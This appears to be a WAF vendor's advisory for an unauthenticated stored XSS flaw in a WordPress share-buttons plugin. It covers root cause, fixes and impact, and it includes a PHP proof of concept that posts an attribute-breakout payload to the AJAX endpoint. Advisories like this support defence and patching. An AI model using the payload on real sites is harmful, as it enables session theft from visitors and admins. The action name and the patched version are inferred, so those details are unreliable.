Published : November 28, 2026

CVE-2026-123827: Easy Social Share Buttons for WordPress <= 11.6.1 Unauthenticated Stored Cross-Site Scripting via 'service' and 'position' Parameters PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 11.6.1
Patched Version —
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-123827 (metadata-based): This vulnerability is an unauthenticated stored cross-site scripting (XSS) issue in the Easy Social Share Buttons for WordPress plugin, affecting all versions up to and including 11.6.1. The flaw resides in the handling of the ‘position’ parameter, which is stored via an unauthenticated AJAX action and later rendered without proper escaping in HTML attributes. Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user visiting an affected page. The CVSS score of 7.2 (High) reflects the network-based, low-complexity, no-privilege-required nature of the attack, with scope change and low confidentiality/integrity impact.

Root Cause: The root cause is improper neutralization of input during web page generation (CWE-79). Based on the vulnerability description, the plugin fails to sanitize the ‘position’ parameter when storing it and fails to escape it when outputting it into a double-quoted HTML data-* attribute. Atomic Edge analysis infers that the AJAX action ‘wp_ajax_nopriv_ ESSB stat log’ (note the space in the action name, likely a formatting artifact in the CVE) lacks nonce and capability checks, allowing unauthenticated users to store arbitrary data. The unescaped double quote in the position value enables attribute breakout, permitting injection of event handlers or script tags. These conclusions are inferred from the CWE classification and description; no source code diff is available for confirmation.

Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable AJAX action (e.g., ‘essb_stat_log’ or similar, as indicated by the description’s ‘ESSB stat log AJAX action’). The request includes a malicious ‘position’ parameter containing a payload such as: value” onmouseover=”alert(document.cookie)” x=” or “>alert(1). The payload is stored in the database by the plugin. When a user later accesses a page where the plugin renders the stored position (e.g., social share button positions), the unescaped value breaks out of the data-* attribute and executes the script. No authentication is required, and the attack can be delivered via a simple HTTP request.

Remediation: The fix for this vulnerability requires two layers of defense: input sanitization and output escaping. The AJAX handler must verify a nonce and check user capabilities (even if the action is meant to be public, it should use nonce where possible). The ‘position’ parameter should be sanitized with sanitize_text_field() or a whitelist of allowed values before storage. When rendering, the value must be escaped with esc_attr() to ensure it is safe for use in HTML attributes. Version 12.1 likely implements these measures. Atomic Edge research recommends that site owners update to version 12.1 or later immediately.

Impact: Exploitation of this vulnerability allows an attacker to inject persistent JavaScript into pages viewed by other users, including administrators. This can lead to session hijacking, theft of sensitive data, privilege escalation (if an admin views the injected page), defacement, or redirection to malicious sites. The scope change (S:C) in the CVSS vector indicates that the vulnerable component (the plugin) affects other components (the browser/website), amplifying the risk.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-123827 - Easy Social Share Buttons for WordPress <= 11.6.1 - Unauthenticated Stored Cross-Site Scripting via 'service' and 'position' Parameters

// This PoC demonstrates the vulnerability by sending a crafted request to the WordPress AJAX endpoint.
// Assumptions: The target WordPress site has the vulnerable plugin (<= 11.6.1) active. The AJAX action name is inferred from the CVE description as likely 'essb_stat_log' or similar, but the exact action name is unknown. Adjust the action name and parameter names accordingly.
// The payload is designed to break out of a double-quoted attribute and execute JavaScript.

$target_url = 'http://example.com'; // Change to the target WordPress URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The CVE description mentions 'service' and 'position' parameters. We target 'position'.
$payload = '" onmouseover="alert(document.cookie)" x="'; // Breaks out of attribute and adds event handler

$post_data = [
    'action' => 'essb_stat_log', // Inferred action name; may need adjustment
    'position' => $payload,
    'service' => 'test', // Included as per title
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Request sent to: $ajax_urln";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Note: The payload is stored. To trigger, visit a page where the plugin renders the 'position' value.
// This PoC is for educational purposes only. Use responsibly.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.